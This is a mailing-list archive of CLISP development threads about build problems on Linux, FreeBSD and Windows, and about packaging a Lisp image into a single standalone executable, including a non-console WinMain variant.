works with console applications and Windows mode applications.

To deliver a Lisp application in one file, I've patched the source. Now =
at
startup it looks for some marker bytes in the program file itself, when
called with no arguments. If found, it uses the bytes after the marker =
as
the image. This could be used independently of the WinMain patch.

Now it is possible to create single file Lisp Windows applications, =
which
are zipped about 1.4 mb. See http://www.frank-buss.de/lisp/clisp.html =
for a
detailed description how to build it, with an example.

Perhaps someone with more knowledge of the CLISP build files can =
integrate
this with a configure option (after fixing the stdin/out/err problem), =
e.g.
"--build-windows-version", like for Java: there is a java.exe =
application,
which uses a console and a javaw.exe, which uses WinMain for Windows =
mode.
The CLISP build scripts could create similiar files: lisp.exe and =
lispw.exe,
when enabled.

I don't know if the memfile patch should be integrated by default, =
perhaps
it should be enabled with an option "--enable-memfile-linking".

--=20
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Frank Buss wrote:
>>>clisp-2.36 from sf.net, mingw, win2k. Build and test without crash.
>>> 
>>>
>>
>>winxp - build and test is ok.
> 
> 
> this is strange...

Oops, excuse me! My bug. I meant clisp from CVS head...

Sorry.

> But then again it is not so important, because the CVS 
> version works :-)

May be... :) But I shall try

Thanks.

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i do not have a ./configure
is this something that make is supposed to create?
make seems to fail before it creates it.

when i look in the README file, it does not say anything
about ./configure by the way.

-jim


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> I hope someone can help me to compile clisp-2.36, sorry i do=20
> not know much
> about the c compiler.   When i run make in the clisp=20
> directory, here is what=20
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try "--without-readline" when you call ./configure, if you=20
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	Using the linux i686 tarball from sourceforge, I find that the  make 
process fails on -lsigsegv, which to be honest I didn't even realise 
was a library. Any recommendations?

Jim Newton wrote:
> i do not have a ./configure
> is this something that make is supposed to create?
> make seems to fail before it creates it.
> 
> when i look in the README file, it does not say anything
> about ./configure by the way.
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>> I hope someone can help me to compile clisp-2.36, sorry i do=20
>> not know much
>> about the c compiler.   When i run make in the clisp=20
>> directory, here is what=20
>> happens.  Does anyone know what the error means?
> 
> try "--without-readline" when you call ./configure, if you=20
> don't need readline or install the readline library first.
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> 	Using the linux i686 tarball from sourceforge, I find 
> that the  make 
> process fails on -lsigsegv, which to be honest I didn't even realise 
> was a library. Any recommendations?

download http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz and
install it like explained at http://www.frank-buss.de/lisp/clisp.html
(should be mostly the same for Unix).

> > i do not have a ./configure
> > is this something that make is supposed to create?
> > make seems to fail before it creates it.

in the source release at
http://prdownloads.sourceforge.net/clisp/clisp-2.36.tar.gz?download there is
a file called INSTALL, which says:

"configure          main configuration script"

There is also a file called "configure" :-)

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> * Jeff Bowman <jbyswo@ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]:
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> I have run apt-get install libpq-dev which installs header files into
> /usr/include/postgresql. However, it seems that directory is not being
> included in the search for headers. I have also tried setting the
> INCLUDES environment variable to /usr/include/postgresql to no avail.

I think that postgresql is normally installed as follows:

/usr/include/postgres_ext.h
/usr/include/libpq-fe.h
/usr/include/pg*.h
/usr/include/postgresql/*
/usr/include/libpq/*

where is your postgres_ext.h?

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the file clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar.gz
which i've downloaded from 
http://prdownloads.sourceforge.net/clisp/clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar.gz?use_mirror=switch
seems to be missing the files INSTALL and configure.
Am i confused?  what is the purpose of 
clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar?

here is what is in the tar file...


clisp-2.36/
clisp-2.36/base/
clisp-2.36/base/lispinit.mem
clisp-2.36/base/gettext.o
clisp-2.36/base/modules.o
clisp-2.36/base/regex.o
clisp-2.36/base/libcharset.a
clisp-2.36/base/readline.o
clisp-2.36/base/lisp.a
clisp-2.36/base/modules.h
clisp-2.36/base/libcallback.a
clisp-2.36/base/libnoreadline.a
clisp-2.36/base/regexp.dvi
clisp-2.36/base/regexi.o
clisp-2.36/base/calls.o
clisp-2.36/base/libavcall.a
clisp-2.36/base/makevars
clisp-2.36/ANNOUNCE
clisp-2.36/SUMMARY
clisp-2.36/syscalls/
clisp-2.36/syscalls/preload.lisp
clisp-2.36/syscalls/posix.lisp
clisp-2.36/syscalls/link.sh
clisp-2.36/syscalls/Makefile
clisp-2.36/syscalls/calls.o
clisp-2.36/doc/
clisp-2.36/doc/editors.txt
clisp-2.36/doc/clisp.ps
clisp-2.36/doc/CLOS-guide.txt
clisp-2.36/doc/LISP-tutorial.txt
clisp-2.36/doc/impnotes.css
clisp-2.36/doc/clisp.dvi
clisp-2.36/doc/impnotes.html
clisp-2.36/doc/clisp.man
clisp-2.36/doc/clisp.1
clisp-2.36/doc/clisp.pdf
clisp-2.36/doc/clisp.html
clisp-2.36/doc/clisp.png
clisp-2.36/NEWS
clisp-2.36/i18n/
clisp-2.36/i18n/gettext.o
clisp-2.36/i18n/i18n.xml
clisp-2.36/i18n/preload.lisp
clisp-2.36/i18n/link.sh
clisp-2.36/i18n/Makefile
clisp-2.36/i18n/i18n.lisp
clisp-2.36/README
clisp-2.36/rawsock/
clisp-2.36/rawsock/preload.lisp
clisp-2.36/rawsock/link.sh
clisp-2.36/rawsock/Makefile
clisp-2.36/rawsock/rawsock.o
clisp-2.36/rawsock/rawsock.xml
clisp-2.36/rawsock/sock.lisp
clisp-2.36/data/
clisp-2.36/data/Symbol-Table.text
clisp-2.36/data/UnicodeDataFull.txt
clisp-2.36/regexp/
clisp-2.36/regexp/preload.lisp
clisp-2.36/regexp/regex.o
clisp-2.36/regexp/link.sh
clisp-2.36/regexp/README
clisp-2.36/regexp/Makefile
clisp-2.36/regexp/regexp.dvi
clisp-2.36/regexp/regexi.o
clisp-2.36/regexp/regexp.texinfo
clisp-2.36/regexp/regexp.lisp
clisp-2.36/Makefile
clisp-2.36/src/
clisp-2.36/src/loop.fas
clisp-2.36/src/reploop.lisp
clisp-2.36/src/fill-out.lisp
clisp-2.36/src/config.lisp
clisp-2.36/src/clos-methcomb4.lisp
clisp-2.36/src/documentation.fas
clisp-2.36/src/dribble.lisp
clisp-2.36/src/clos-genfun3.lisp
clisp-2.36/src/russian.lisp
clisp-2.36/src/french.lisp
clisp-2.36/src/gray.fas
clisp-2.36/src/fill-out.fas
clisp-2.36/src/clos-genfun2a.lisp
clisp-2.36/src/functions.fas
clisp-2.36/src/clos-class1.fas
clisp-2.36/src/clos-stablehash1.lisp
clisp-2.36/src/german.lisp
clisp-2.36/src/deprecated.fas
clisp-2.36/src/inspect.fas
clisp-2.36/src/clos-class5.lisp
clisp-2.36/src/russian.fas
clisp-2.36/src/danish.lisp
clisp-2.36/src/clos.lisp
clisp-2.36/src/clos-method2.fas
clisp-2.36/src/clos-slots2.fas
clisp-2.36/src/timezone.lisp
clisp-2.36/src/loop.lisp
clisp-2.36/src/clhs.lisp
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clisp-2.36/src/clos-methcomb2.fas
clisp-2.36/src/pprint.fas
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clisp-2.36/src/defpackage.fas
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clisp-2.36/src/complete.lisp
clisp-2.36/src/clos-slots2.lisp
clisp-2.36/src/clos-genfun2a.fas
clisp-2.36/src/room.fas
clisp-2.36/src/loadform.lisp
clisp-2.36/src/clos-method4.lisp
clisp-2.36/src/dutch.fas
clisp-2.36/src/savemem.lisp
clisp-2.36/src/exporting.lisp
clisp-2.36/src/keyboard.lisp
clisp-2.36/src/clos-dependent.lisp
clisp-2.36/src/screen.fas
clisp-2.36/src/defseq.fas
clisp-2.36/src/inspect.lisp
clisp-2.36/src/dribble.fas
clisp-2.36/src/query.fas
clisp-2.36/src/clos-specializer1.lisp
clisp-2.36/src/clos-specializer3.fas
clisp-2.36/src/clos-methcomb3.fas
clisp-2.36/src/clos-stablehash1.fas
clisp-2.36/src/clos-methcomb3.lisp
clisp-2.36/src/keyboard.fas
clisp-2.36/src/trace.lisp
clisp-2.36/src/clos-macros.fas
clisp-2.36/src/clos-slotdef2.fas
clisp-2.36/src/format.fas
clisp-2.36/src/clos-specializer1.fas
clisp-2.36/src/clos-method4.fas
clisp-2.36/src/clos-genfun2b.fas
clisp-2.36/src/defstruct.lisp
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clisp-2.36/src/floatprint.lisp
clisp-2.36/src/macros3.fas
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clisp-2.36/src/places.lisp
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clisp-2.36/src/clos-method1.lisp
clisp-2.36/src/backquote.lisp
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clisp-2.36/src/clos-class6.fas
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clisp-2.36/src/edit.lisp
clisp-2.36/src/clos-metaobject1.lisp
clisp-2.36/src/disassem.lisp
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clisp-2.36/src/savemem.fas
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clisp-2.36/src/describe.lisp
clisp-2.36/src/cmacros.lisp
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> the file clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar.gz
> which i've downloaded from 
> http://prdownloads.sourceforge.net/clisp/clisp-2.36-x86_64-unk
> nown-linux-gnu-2.6.9.tar.gz?use_mirror=switch
> seems to be missing the files INSTALL and configure.
> Am i confused?  what is the purpose of 
> clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar?

this is not the source file for recompiling it by yourself, but the compiled
result. If you just want to start CLISP this is fine, but if you want to
compile it yourself, you have to download the sources. Of course, the
sources are the same for every platform.

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I just saw some quite recent comments in a Changelog about somebody
being tired of telling people to 'ignore' DVI-related issues (or some
such) during the build process.

Thing is, the current tarball won't build on Debian Sarge, which
surprised me, as I was under the apparently mistaken impression that
GNU Clisp would pretty much just build on Debian GNU/Linux.

I wouldn't mind at all using the Debian package, but it doesn't appear
to include fastcgi or postgresql (must haves), nor a couple of the other
things I wouldn't mind having available.

It took me the better part of 8-hours effort, but I did finally manage
to get clisp 2.36 on my FreeBSD laptop with the additional stuff I
wanted--mostly the build process itself wasn't comfortable with FreeBSD
4.9, it seems, I think because of 'philosophical' differences, for lack
of a better term--so I had to do some makefile tweaking.

The server I want to run the stuff I develop on my laptop is recentyl
installed and updated vanilla Debian Sarge, and my initial attempt at
the built blew off becuase groff proper (rather than just groff-base)
wasn't installed.  Np, apt-get, fixed.

(Please forgive if I am being silly, but I was a bit surprised that
'configure' didn't handle that somehow.)

Anyway, now make complains:

groff -Tps -mandoc  clisp.1 > clisp.ps
dvipdf clisp.dvi clisp.pdf
dvips: ! unexpected eof on DVI file
Error: /typecheck in --.unread--
Operand stack:
   true   --nostringval--   true   0
Execution stack:
   %interp_exit   .runexec2   --nostringval--   --nostringval--
   --nostringval--   2   %stopped_push   --nostringval--
   --nostringval--   --nostringval--   false   1   %stopped_push   1   3
   %oparray_pop   --nostringval--   1   1   3   --nostringval--
   %for_pos_int_continue   --nostringval--   --nostringval--
   --nostringval--
Dictionary stack:
   --dict:1049/1123(ro)(G)--   --dict:0/20(G)--   --dict:69/200(L)--
Current allocation mode is local
GPL Ghostscript 8.01: Unrecoverable error, exit code 1
make: *** [clisp.pdf] Error 1


I'm not a make/autoconf etc. guru--could somebody point me at a
relatively quick and painless workaround?

Thx!


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Ummm, I should probably clarify my previous post a bit, since I almost
feel asleep at my keyboard while writing it.

First, let me be very clear--its simply amazing to me that folks can
build software this complex and have it build reasonably well on so many
platforms.  I've been in the business long enough, and used different
enough platforms, to appreciate what a feat such portability is.

Also, the clisp 2.36 build problems on both Debian and FreeBSD I had
were pretty much exclusively with getting the add-on modules to build.
On FreeBSD 4.9, giving configure the name of a separate build directory
just didn't seem to work, but if I built in the src directory, no
problem.  On Debian Sarge, once I deleted 'manual' from the top-level
Makefile's 'all' target, everything took off and 'just worked'.

Woot!  You guys do good work. :^D

However, on both FreeBSD and Debian I had trouble getting postgresql
module to build, primarily with locating the header files.  Even if
modified top-level Makefile CFLAGS and CPPFLAGS with appropriate -I
flags, setting environment variables, etc.  On both boxes, I ended up
putting a soft link from /usr/local/include (FreeBSD) or /usr/include
(Debian) to the appropriate files.  Too, configure checks for the
existence of postgres_ext.h, but if I didn't also have soft link to
libpq-fe.h, the build blew off.

Also, close to half of the 'nearly 8 hours' I mentioned in my earlier
post was devoted to trying to get berkeley-db module to build on
FreeBSD.  (There are so many versions of Berkeley DB!)  I never did get
it to work--no matter what, it couldn't find the library, and I tried
link switches, environment variables, load paths, etc.  And when I tried
on Debian, I quit trying after the first error--I just don't have time
figure that out now.

I *would* still like to get the clisp docs built right, though, if
anyone has any suggestions.

-- 
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> *  <puevf@jbexvatyvahk.pbz> [2005-12-30 15:56:10 -1000]:
>
> Ummm, I should probably clarify my previous post a bit, since I almost
> feel asleep at my keyboard while writing it.

I hope you will get enough sleep soon, and will submit a clear bug
report - so far I cannot figure out what you are complaining about.
Please see http://clisp.cons.org/impnotes/clisp.html#bugs
and make sure that you send _ONE_ bug report per problem and _DO_ send
full information we need to help you.
specifically, you cannot build on FreeBSD in a separate directory:
please send the full configure command line and all the error messages,
cut and paste.
you have problems with dvi - what happens when you type "make" again?
etc.

Happy New Year!


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> * Frank Buss <so@senax-ohff.qr> [2005-12-29 06:37:31 +0100]:
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> http://www.frank-buss.de/lisp/clisp.html

note that clisp/modules/bindings/win32.lisp already offers
win32:MessageBoxA



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> > http://www.frank-buss.de/lisp/clisp.html
> 
> note that clisp/modules/bindings/win32.lisp already offers
> win32:MessageBoxA

Thanks, but anyway my goal is to use an implementation independant windows
mapping with CFFI, like tested here:

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Hi Frank 

I am really intrigued by the way you made the
message.exe.
I modified the deliver.cmd to look like:
set lisp_path=c:\clisp-2.35
%lisp_path%\clisp -K full -norc -M
%lisp_path%\image-no-swank.mem -x "(load
\"message.lisp\")(ext:saveinitmem \"saved\"
:init-function #'main)"
copy /y /b %lisp_path%\clisp.exe + marker.txt +
saved.mem message.exe

but when I execute the message.exe it tries to call
c:/Linux/Clisp-GUI/base/lisp.exe so it fails. Is it
possible to make it call lisp from
c:\clisp-2.35/full/lisp?
Where can I read about this REKRAM_CIGAM_EHT and how
to put it all into one exe file?

Thank you,
Andrew

--- Frank Buss <fb@frank-buss.de> wrote:

> > > http://www.frank-buss.de/lisp/clisp.html
> > 
> > note that clisp/modules/bindings/win32.lisp
> already offers
> > win32:MessageBoxA
> 
> Thanks, but anyway my goal is to use an
> implementation independant windows
> mapping with CFFI, like tested here:
> 
> http://article.gmane.org/gmane.lisp.cl-gardeners/587
> 
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My bad... I should have put copy /y /b
%lisp_path%\full\lisp.exe + marker.txt + saved.mem
message.exe. 
Only now it says "module 'syscalls' requires package
OS"...

Andrew

--- Andrew Stebakov <astebakov@yahoo.com> wrote:

> Hi Frank 
> 
> I am really intrigued by the way you made the
> message.exe.
> I modified the deliver.cmd to look like:
> set lisp_path=c:\clisp-2.35
> %lisp_path%\clisp -K full -norc -M
> %lisp_path%\image-no-swank.mem -x "(load
> \"message.lisp\")(ext:saveinitmem \"saved\"
> :init-function #'main)"
> copy /y /b %lisp_path%\clisp.exe + marker.txt +
> saved.mem message.exe
> 
> but when I execute the message.exe it tries to call
> c:/Linux/Clisp-GUI/base/lisp.exe so it fails. Is it
> possible to make it call lisp from
> c:\clisp-2.35/full/lisp?
> Where can I read about this REKRAM_CIGAM_EHT and how
> to put it all into one exe file?
> 
> Thank you,
> Andrew
> 
> --- Frank Buss <fb@frank-buss.de> wrote:
> 
> > > > http://www.frank-buss.de/lisp/clisp.html
> > > 
> > > note that clisp/modules/bindings/win32.lisp
> > already offers
> > > win32:MessageBoxA
> > 
> > Thanks, but anyway my goal is to use an
> > implementation independant windows
> > mapping with CFFI, like tested here:
> > 
> >
> http://article.gmane.org/gmane.lisp.cl-gardeners/587
> > 
> > -- 
> > Frank Buss, fb@frank-buss.de
> > http://www.frank-buss.de,
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Andrew Stebakov wrote:
>My bad... I should have put copy /y /b
>%lisp_path%\full\lisp.exe + marker.txt + saved.mem
>message.exe.=20
>Only now it says "module 'syscalls' requires package
>OS"...

Is that still the case or did you solve that problem?
The message means that a lisp.exe built with the syscalls module is =
needed to start this .mem file.  But I'd have expected full\lisp.exe to =
be such a binary (whereas base\lisp.exe or boot\lisp.exe are not), so =
I'm surprised.

Try out lisp.exe --version
or lisp.exe -x "(ext::module-info)". What C modules does it mention?

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> My bad... I should have put copy /y /b
> %lisp_path%\full\lisp.exe + marker.txt + saved.mem
> message.exe. 
> Only now it says "module 'syscalls' requires package
> OS"...

I can reproduce this error message, when I'm using the standard lisp.exe and
not my patched version. The standard version has not the ability to link the
image to the exe file.

> Where can I read about this REKRAM_CIGAM_EHT and how
> to put it all into one exe file?

At the moment only at http://www.frank-buss.de/lisp/clisp.html , I don't
know if the CLISP maintainers plans to integrate it in the standard
distribution.

And for REKRAM_CIGAM_EHT, try to read it reversed :-) It's added this way to
the file to allow it to store the right way in the program. Then when
scanning the program file at startup for finding the start of the image, it
finds only the reversed version, not the string within the program itself.

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What can I do to make the patched lisp.exe (which is
capable of linking the image into the exe file)?

Thank you,
Andrew

--- Frank Buss <fb@frank-buss.de> wrote:

> > My bad... I should have put copy /y /b
> > %lisp_path%\full\lisp.exe + marker.txt + saved.mem
> > message.exe. 
> > Only now it says "module 'syscalls' requires
> package
> > OS"...
> 
> I can reproduce this error message, when I'm using
> the standard lisp.exe and
> not my patched version. The standard version has not
> the ability to link the
> image to the exe file.
> 
> > Where can I read about this REKRAM_CIGAM_EHT and
> how
> > to put it all into one exe file?
> 
> At the moment only at
> http://www.frank-buss.de/lisp/clisp.html , I don't
> know if the CLISP maintainers plans to integrate it
> in the standard
> distribution.
> 
> And for REKRAM_CIGAM_EHT, try to read it reversed
> :-) It's added this way to
> the file to allow it to store the right way in the
> program. Then when
> scanning the program file at startup for finding the
> start of the image, it
> finds only the reversed version, not the string
> within the program itself.
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> What can I do to make the patched lisp.exe (which is
> capable of linking the image into the exe file)?

it's described at http://www.frank-buss.de/lisp/clisp.html in detail.

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>> the file clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar.gz
>> which i've downloaded from 
>> http://prdownloads.sourceforge.net/clisp/clisp-2.36-x86_64-unk
>> nown-linux-gnu-2.6.9.tar.gz?use_mirror=switch
>> seems to be missing the files INSTALL and configure.
>> Am i confused?  what is the purpose of 
>> clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar?
>
>this is not the source file for recompiling it by yourself, but the compiled
>result. If you just want to start CLISP this is fine, but if you want to
>compile it yourself, you have to download the sources. Of course, the
>sources are the same for every platform.

Ok, now back to my original question which i'm still not
clear about how to solve.

I'd like to install this precompiled result on my system.
clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar
How should i do it?

The README file says to first type make, but i get the following
error.

/opt/clisp-2.36> make
cc -O  base/modules.o base/readline.o -lreadline -lncurses base/regexi.o 
base/regex.o base/calls.o -lcrypt -lm base/gettext.o base/lisp.a 
base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses 
-ldl -L/home/users/s/sd/sds/top/Linux-x86_64/lib -lsigsegv -lc -o 
base/lisp.run
/usr/lib64/gcc-lib/x86_64-suse-linux/3.3.5/../../../../x86_64-suse-linux/bin/ld: 
cannot find -lreadline
collect2: ld returned 1 exit status
make: *** [base/lisp.run] Error 1


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> * Jim Newton <wvzxn@eqebc.pbz> [2006-01-03 07:22:27 +0100]:
>
> I'd like to install this precompiled result on my system.
> clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar
> How should i do it?

install readline and sigsegv and then follow the instructions.


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> * Frank Buss <so@senax-ohff.qr> [2005-12-29 06:37:31 +0100]:
>
> To deliver a Lisp application in one file, I've patched the
> source. Now at startup it looks for some marker bytes in the program
> file itself, when called with no arguments. If found, it uses the
> bytes after the marker as the image.

I implemented something similar in the CVS:
try (saveinitmem "foo" :executable t) to get a standalone "foo.exe".

> Perhaps someone with more knowledge of the CLISP build files can
> integrate this with a configure option (after fixing the stdin/out/err
> problem), e.g.  "--build-windows-version", like for Java: there is a
> java.exe application, which uses a console and a javaw.exe, which uses
> WinMain for Windows mode.  The CLISP build scripts could create
> similiar files: lisp.exe and lispw.exe, when enabled.

I don't understand the need to the non-console version.
clisp has a repl, how do you get it without a console?

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> I don't understand the need to the non-console version.
> clisp has a repl, how do you get it without a console?
When I came into this with my embeddable lisp project, I had to
implement an "GDI console" layer and work through it. So when Lisp is
started for interactive session, textmode console is used, if it
started as a part of GUI project, Lisp window (the console emulator)
is hidden and exhibits itself only when Lisp error is thrown.
It was the non trivial task to go through the sources and change
every console interface call. Moreother, there arise some thread
issues, not the whole "arbitrary MT" problem though. GUI and Lisp
should be executed in different threads to make the GUI code be
able to execute when the Lisp thread is stopped.

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> -----Original Message-----
> From: Sam Steingold
> I implemented something similar in the CVS:
> try (saveinitmem "foo" :executable t) to get a standalone "foo.exe".

I've tried this with the current CVS version:

[1]> (saveinitmem "foo" :executable t)

*** - SAVEINITMEM: illegal keyword/value pair :EXECUTABLE, T in argument
list.
      The allowed keywords are
       (:QUIET :INIT-FUNCTION :VERBOSE :KEEP-GLOBAL-HANDLERS :START-PACKAGE
        :LOCKED-PACKAGES)

> I don't understand the need to the non-console version.
> clisp has a repl, how do you get it without a console?

The reason for a non-console version is to have a foo.exe program, which can
be double-clicked by the end-user and which doesn't open an additional
console window in background. This is very useful in combination with
":executable t". The end-user (assuming "normal" peoples, not programmers
like we are :-) doesn't need and doesn't want a repl. But instead of just
disabling the repl for the lisp-w-version, something like Arseny Slobodyuk
described would be useful.

Perhaps this could be the default for Windows: The lisp.exe program is a
Windows executable without a console window, but if started in interactive
mode with a special command line switch, then a console window is created
and attached (you can do this in Windows with the AllocConsole function), if
not already started from a console. Otherwise it is started without a
console window (but stdin/stdout/stderr-rerouting should be still possible,
like in every other normal Windows application and unlike in my hack). For
backward compatibility the clisp.exe starter can pass this command line
switch.

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Oops! :)

Thanks!

Build mingw-version with gettext and readline?

Thanks again!

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Arseny Slobodyuk wrote:
>It was the non trivial task to go through the sources and change
>every console interface call.
How comes? AFAIK src/stream.d encapsulates all the handling of *terminal-io*.
I don't understand what you did and what the result is.

>if it
>started as a part of GUI project, Lisp window (the console emulator)
>is hidden and exhibits itself only when Lisp error is thrown.
The Amiga-CLISP could do this. AmigaOS has console windows which open only when accessed. I.e. Opening the file does not open the window yet. Only when I/O occurs (print or read) does the window open. This is indeed a nice feature, and people can redirect *error-output*, *debug-io* etc. to such a stream.  IIRC you can even close such a window, and it will reopen again when needed (unless the application exits when it sees an EOF -- this is better suited for output-only windows, e.g. one for *trace-output*).
Actually, my Amiga-CLISP startup code provided such a window when started via the GUI (called Workbench). More concretely, it allowed the user to define the dimensions of the initial console window and a few other features.
When I mentioned this some years ago, Sam implemented ext:make-xterm-io-stream for UNIX. So there also, you can send i/o to separate windows. (In comparison, the xterm-io-stream looks a bit bare-bones: no scrollbars(ouch!), title not directly settable (presumably via some Escape-sequence, and easy to fix in the syscalls module), and unexpected output ("/dev/pts9") appears in it).
Since the user could define the "console" opened when launching CLISP from the Workbench, s/he could even attach it to a TCP/IP stream instead of a window (On Linux, one may use /dev/tcp/port... to achieve this effect, i.e. ext:socket-server+attach-to-first-connect)!


Frank Buss wrote:
>Otherwise it is started without a
>console window (but stdin/stdout/stderr-rerouting should be still possible,
>like in every other normal Windows application and unlike in my hack).
I don't understand what you mean. How can you redirect something without a console to start with??

> but if started in interactive
>mode with a special command line switch, then a console window is created
>and attached (you can do this in Windows with the AllocConsole function), if
>not already started from a console.
In my experience this is not a good idea. I always prefer applications to use a console that I've opened myself, which possibly has scrollbars, comfortable line-editing, Copy&Paste and other extensions instead of seeing applications open a bare-bones window and declare that as their "console".

E.g., IIRC, the dos4gw thing opens its own window. What a pity! Often dos4gw is quite old, and its console window does not integrate nicely in a MS-Windows-2k environment.  IIRC, even the keyboard is not properly recognized, I remember getting a US layout, not corresponding to my german keyboard. :-(


IMHO, an easier and portable solution to getting lisp.exe to start with a predefined image would be some environment variable that gives the location of the image (if -M is missing).  That would work on all platforms.  If I'm not mistaken, MS-windows provides means to set variables on a per-icon basis, and you need not set this variable globally in your MS-windows environment.

I believe that the combination of lisp.exe/run and .mem is all that's needed for a stand-alone application (reduced to 2 files + icon file). I believe the rest is a matter of a proper (ext:saveinitmem :init-function) and -q switch. -q should prevent CLISP from talking to it's *standard-input/output* and the :init-function opens the GUI.

Well, GUIs that provide for icon files typically provide for means of setting the command + arguments as well. So -M via getenv is not needed either.  Oh well, I just reinvented CLISP's old application delivery section in impnotes :-(

Regards,
	Jorg Hohle.


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>>It was the non trivial task to go through the sources and change
>>every console interface call.
> How comes? AFAIK src/stream.d encapsulates all the handling of *terminal-io*.
> I don't understand what you did and what the result is.
Well, the project wasn't clisp. Clisp isn't quite embeddable for me...
But you're probably right, special stream type is what is required
here. Source scanning was necessary for me because interface wasn't
simple puts/gets, but random screen access was used, so I need to
change these extended stream calls. Here this shouldn't be the case.

> E.g.,  IIRC,  the  dos4gw  thing  opens its own window. What a pity!
> Often dos4gw is quite old, and its console window does not integrate
> nicely  in  a  MS-Windows-2k environment. IIRC, even the keyboard is
> not  properly  recognized,  I  remember  getting  a  US  layout, not
> corresponding to my german keyboard. :-(
Well, AllocConsole opens standard system console and as far as WIN32
system is concerned and that bad things shouldn't happen. The point is
not to show the console to the end user (say, a Sokoban player), who
might be scared of it.

> IMHO,  an  easier and portable solution to getting lisp.exe to start
> with  a  predefined  image  would  be some environment variable that
> gives  the location of the image (if -M is missing). That would work
> on  all platforms. If I'm not mistaken, MS-windows provides means to
> set  variables  on  a  per-icon  basis,  and  you  need not set this
> variable globally in your MS-windows environment.
AFAIK, enviroinment variables isn't settable, but command line of a
shortcut (you call it "icon") can include arguments, so provided
there's a nice installer, -M isn't a problem.

-- 
Best regards,
 Arseny    




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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2006-01-03 11:29:28 +0200]:
>
> Build mingw-version with gettext and readline?

sure, please go ahead!

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> * Frank Buss <so@senax-ohff.qr> [2006-01-03 10:00:44 +0100]:
>
>> -----Original Message-----
>> From: Sam Steingold
>> I implemented something similar in the CVS:
>> try (saveinitmem "foo" :executable t) to get a standalone "foo.exe".
>
> I've tried this with the current CVS version:
>
> [1]> (saveinitmem "foo" :executable t)
>
> *** - SAVEINITMEM: illegal keyword/value pair :EXECUTABLE, T in argument
> list.
>       The allowed keywords are
>        (:QUIET :INIT-FUNCTION :VERBOSE :KEEP-GLOBAL-HANDLERS :START-PACKAGE
>         :LOCKED-PACKAGES)

there is a delay between developer cvs and anon cvs.
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> * Arseny Slobodyuk <nzcl@vpu.qib.eh> [2006-01-03 17:16:37 +1000]:
>
> So when Lisp is started for interactive session, textmode console is
> used, if it started as a part of GUI project, Lisp window (the console
> emulator) is hidden and exhibits itself only when Lisp error is
> thrown.

this would be nice.
http://www.cygwin.com/acronyms/#PTC

I don't want a configure option, win32 should always use winmain, but
this should not break bootstrap and console debugging.

hack on!

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2006-01-03 11:33:27 +0100]:
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> When I mentioned this some years ago, Sam implemented
> ext:make-xterm-io-stream for UNIX. So there also, you can send i/o to
> separate windows. (In comparison, the xterm-io-stream looks a bit
> bare-bones: no scrollbars(ouch!),

fix your X resources.

> title not directly settable

OK, make-xterm-io-stream now accepts :title 




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> * Arseny Slobodyuk <nzcl@vpu.qib.eh> [2006-01-03 23:04:53 +1000]:
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> Clisp isn't quite embeddable for me...

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> > I've tried this with the current CVS version:
> >
> > [1]> (saveinitmem "foo" :executable t)
> >
> > *** - SAVEINITMEM: illegal keyword/value pair :EXECUTABLE, 
> T in argument
> > list.
> >       The allowed keywords are
> >        (:QUIET :INIT-FUNCTION :VERBOSE 
> :KEEP-GLOBAL-HANDLERS :START-PACKAGE
> >         :LOCKED-PACKAGES)
> 
> there is a delay between developer cvs and anon cvs.
> please try again in a couple of hours

Yes, it works. But when I try to strip all symbols like "strip --strip-all
lisp.exe", it doesn't work anymore:

[8]> (saveinitmem "foo" :executable t :init-function #'main)

*** - runtime too small (925784 bytes missing)
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [9]> 

I suggest to add the size of the EXE file at the end of the marker string
(which means var char marker[20] = "my magic marker\0\0\0" in spvw.d) and
moving the filesize C code to savemem.lisp. Then you have to check in spvw.d
only for 0 when loading and when saving, the current length is used. Then I
can call "filesize" again on the stripped executable (which is 1 mb smaller
after all).

Another idea: if savemem.lisp has access to the filesize information
included in the marker-string, it is possible that a standalone-exe can save
itself again: if the pointer is 0, it replaces it with the filesize and
saves all, including the image and if the pointer is /= 0, it saves only the
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> * Frank Buss <so@senax-ohff.qr> [2006-01-04 04:22:59 +0100]:
>
> But when I try to strip all symbols like "strip
> --strip-all lisp.exe", it doesn't work anymore:

stripping CLISP disables disassembling of C functions and is not
recommended.

> Then I can call "filesize" again on the stripped executable (which is
> 1 mb smaller after all).

just strip lisp.exe before calling filesize (modify Makefile).

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> > But when I try to strip all symbols like "strip
> > --strip-all lisp.exe", it doesn't work anymore:
> 
> stripping CLISP disables disassembling of C functions and is not
> recommended.

that's not interesting for the average Sokoban player, but 1 mb smaller file
to download IS interesting. Moving the functionality from filesize.c to
savemem.lisp and adding the size at the end of the marker solves the
problem. Or even easier: move the size to the end of the marker, only, then
you don't have to change the rest, but then you should perhaps deliver the
filsize.exe program in the standard distribution, too.

> just strip lisp.exe before calling filesize (modify Makefile).

this is possible, but would be nice to have it in the standard distribution,
because then I (and others) don't have to patch and recompile CLISP every
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> * Frank Buss <so@senax-ohff.qr> [2006-01-04 15:43:07 +0100]:
>
> Moving the functionality from filesize.c to savemem.lisp and adding
> the size at the end of the marker solves the problem.

I don't think that windows will let an application open its own
executable.

also, this would mean that an executable image saved from a running
executable image will include _two_ images.

> Or even easier: move the size to the end of the marker, only, then you
> don't have to change the rest, but then you should perhaps deliver the
> filsize.exe program in the standard distribution, too.

no, the standard distribution should just include the binaries on which
filesize.exe have already been run.

>> just strip lisp.exe before calling filesize (modify Makefile).
>
> this is possible, but would be nice to have it in the standard
> distribution, because then I (and others) don't have to patch and
> recompile CLISP every time a new release is published.

I don't understand this.  what "release is published"?
what do you want to have in "the standard distribution"?
what is "the standard distribution"?  binary?  source?

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> > Moving the functionality from filesize.c to savemem.lisp and adding
